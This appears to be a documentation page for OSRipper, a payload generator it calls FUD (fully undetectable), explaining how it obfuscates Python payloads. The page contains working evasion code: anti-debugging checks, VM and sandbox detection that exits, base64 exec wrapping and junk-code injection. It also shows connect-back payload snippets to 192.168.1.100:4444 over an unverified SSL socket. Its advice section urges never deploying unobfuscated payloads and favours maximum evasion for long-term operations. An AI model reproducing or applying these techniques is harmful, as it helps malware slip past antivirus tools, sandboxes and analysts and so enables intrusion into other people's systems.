Obfuscation

Obfuscation

Detailed explanation of OSRipper's obfuscation techniques and how they work.

Overview

Obfuscation is the process of transforming code to make it harder to understand and detect while maintaining functionality. OSRipper provides two levels of obfuscation: standard and enhanced.

Obfuscation Levels

Standard Obfuscation

Multi-layer code encoding with randomized variables.

Features:

• Variable name randomization
• Code structure obfuscation
• Base64 encoding layers
• String encryption

Use Case: General purpose obfuscation for most scenarios

Enhanced Obfuscation

Advanced obfuscation with additional evasion techniques.

Features:

• All standard obfuscation features
• Anti-debugging techniques
• VM detection evasion
• Junk code injection
• Advanced code transformations

Use Case: Maximum evasion for high-security environments

Standard Obfuscation Process

Step 1: Variable Randomization

All variables are renamed to random strings:

Before:

host = "192.168.1.100"
port = 4444
socket = socket.socket()

After:

xKj9mPq2 = "192.168.1.100"
aBcDeFgHi = 4444
MnOpQrStUv = socket.socket()

Step 2: Code Encoding

Code is encoded using multiple layers:

Layer 1: Base64 Encoding

# Original code
code = "import socket\nsocket.connect(...)"

# Encoded
import base64
encoded = base64.b64encode(code.encode())

Layer 2: String Encryption

# Strings are encrypted
host = "192.168.1.100"
# Becomes
host = decrypt("aBc123XyZ...")

Step 3: Structure Obfuscation

Code structure is reorganized:

Before:

def connect():
    socket = socket.socket()
    socket.connect((host, port))
    return socket

After:

def xKj9mPq2():
    aBcDeFgHi = socket.socket()
    MnOpQrStUv = (host, port)
    aBcDeFgHi.connect(MnOpQrStUv)
    return aBcDeFgHi

Enhanced Obfuscation Process

Additional Techniques

1. Anti-Debugging

Code detects and evades debuggers:

import sys

# Check for debugger
if sys.gettrace() is not None:
    # Debugger detected, exit
    sys.exit(1)

# Check for ptrace (Linux)
try:
    import ctypes
    libc = ctypes.CDLL("libc.so.6")
    if libc.ptrace(0, 0, 1, 0) == -1:
        sys.exit(1)
except:
    pass

2. VM Detection

Detects virtual machines and sandboxes:

import platform
import psutil

def detect_vm():
    # Check CPU cores (VMs often have few cores)
    if psutil.cpu_count() < 2:
        return True
    
    # Check MAC address (VM vendors)
    vm_macs = ['00:0c:29', '00:50:56', '00:05:69']
    for mac in vm_macs:
        if mac in get_mac_address():
            return True
    
    # Check system information
    system_info = platform.platform().lower()
    vm_keywords = ['vmware', 'virtualbox', 'qemu', 'xen']
    for keyword in vm_keywords:
        if keyword in system_info:
            return True
    
    return False

if detect_vm():
    sys.exit(1)

3. Junk Code Injection

Meaningless code is inserted to confuse analysis:

# Junk code
def unused_function_1():
    x = 1 + 1
    y = x * 2
    z = y - x
    return z

def unused_function_2():
    import random
    for i in range(10):
        random.randint(1, 100)
    return None

# Actual code continues...

4. Advanced Transformations

Additional code transformations:

• Control Flow Obfuscation - Obfuscated control flow
• Dead Code Insertion - Unreachable code added
• String Splitting - Strings split and reconstructed
• Function Inlining - Functions inlined/expanded

Obfuscation Examples

Example 1: Simple Payload

Original:

import socket
s = socket.socket()
s.connect(("192.168.1.100", 4444))

Standard Obfuscation:

import base64
exec(base64.b64decode("aW1wb3J0IHNvY2tldA=="))
xKj9 = socket.socket()
xKj9.connect(("192.168.1.100", 4444))

Enhanced Obfuscation:

import sys
if sys.gettrace(): sys.exit(1)
import base64
def junk(): return 1+1
exec(base64.b64decode("aW1wb3J0IHNvY2tldA=="))
xKj9 = socket.socket()
xKj9.connect(("192.168.1.100", 4444))

Example 2: Complex Payload

Original:

import zlib, base64, ssl, socket, struct, time

for x in range(10):
    try:
        so = socket.socket(2, 1)
        so.connect((host, port))
        s = ssl.wrap_socket(so)
        break
    except:
        time.sleep(10)

Obfuscated:

import zlib,base64,ssl,socket,struct,time
import sys
if sys.gettrace() is not None: sys.exit(1)
xKj9mPq2 = None
for x in range(10):
    try:
        aBcDeFgHi = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        aBcDeFgHi.connect((MnOpQrSt, UvWxYzAb))
        context_var = ssl._create_unverified_context()
        xKj9mPq2 = context_var.wrap_socket(aBcDeFgHi)
        break
    except Exception as e:
        time.sleep(2)

Obfuscation Techniques

1. Variable Name Obfuscation

• Random Names - Variables renamed to random strings
• Length Variation - Different lengths for different variables
• Character Set - ASCII letters only (a-z, A-Z)

2. String Obfuscation

• Base64 Encoding - Strings encoded in base64
• XOR Encryption - Strings XOR encrypted
• String Splitting - Strings split and reconstructed

3. Code Structure Obfuscation

• Function Renaming - Functions renamed
• Control Flow - Control flow obfuscated
• Dead Code - Unreachable code added

4. Import Obfuscation

• Dynamic Imports - Imports done dynamically
• Import Aliasing - Imports aliased
• Import Hiding - Imports hidden in code

Obfuscation Effectiveness

Detection Evasion

Static Analysis:

• Variable names are random
• Code structure is obfuscated
• Strings are encoded
• Patterns are broken

Dynamic Analysis:

• Anti-debugging prevents debugging
• VM detection exits in sandboxes
• Junk code confuses analysis
• Stealth delays avoid immediate execution

Limitations

Current Limitations:

• Python code still recognizable as Python
• Some patterns may still be detectable
• Advanced analysis may detect behavior

Future Improvements:

• More advanced transformations
• Better string encryption
• Improved control flow obfuscation

Best Practices

When to Use Standard Obfuscation

• General purpose payloads
• Quick generation needed
• Lower security environments

When to Use Enhanced Obfuscation

• High-security environments
• Maximum evasion needed
• Long-term operations

Obfuscation Tips

1. Always Use Obfuscation - Never deploy unobfuscated payloads
2. Combine with Compilation - Obfuscate then compile
3. Test First - Verify obfuscated payload works
4. Monitor Detection - Check detection rates

Technical Implementation

Obfuscator Module

The obfuscator processes Python code:

def obfuscate_code(source_code):
    # 1. Parse AST
    tree = ast.parse(source_code)
    
    # 2. Randomize variables
    tree = randomize_variables(tree)
    
    # 3. Encode strings
    tree = encode_strings(tree)
    
    # 4. Obfuscate structure
    tree = obfuscate_structure(tree)
    
    # 5. Generate code
    return ast.unparse(tree)

Enhanced Obfuscator

Additional processing for enhanced mode:

def enhanced_obfuscate_code(source_code):
    # Standard obfuscation
    code = obfuscate_code(source_code)
    
    # Add anti-debugging
    code = add_anti_debug(code)
    
    # Add VM detection
    code = add_vm_detection(code)
    
    # Inject junk code
    code = inject_junk_code(code)
    
    return code

Conclusion

Obfuscation is a critical component of OSRipper's FUD capabilities. By transforming code structure, randomizing variables, and adding evasion techniques, obfuscation makes payloads significantly harder to detect and analyze.

---

For more information, see Proof of Concept and Randomising pages.